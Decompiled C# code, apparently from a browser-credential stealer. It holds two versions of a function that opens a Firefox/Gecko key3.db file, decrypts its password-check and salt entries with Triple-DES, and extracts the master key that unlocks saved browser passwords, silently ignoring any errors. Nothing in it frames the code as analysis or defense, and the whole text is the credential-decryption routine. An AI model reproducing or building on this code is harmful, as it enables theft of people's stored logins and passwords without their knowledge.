// Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C private static byte[] GetPrivate3Key(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } MethodInfo method = typeof(Array).GetMethod("Copy", new Type[] { typeof(Array), typeof(int), typeof(Array), typeof(int), typeof(int) }); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt")); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { method.Invoke(null, new object[] { asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24 }); } else { array = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(array); }
private static byte[] GetPrivate3Key(string file) { byte[] numArray = new byte[24]; try { if (!File.Exists(file)) { return(numArray); } DataTable dataTable = new DataTable(); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check")))); string db = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt"))); GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); passwordBasedEncryption1.Init(); TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => { if (!x.Equals("password-check") && !x.Equals("Version")) { return(!x.Equals("global-salt")); } return(false); })))); GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); passwordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24); } else { numArray = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(numArray); }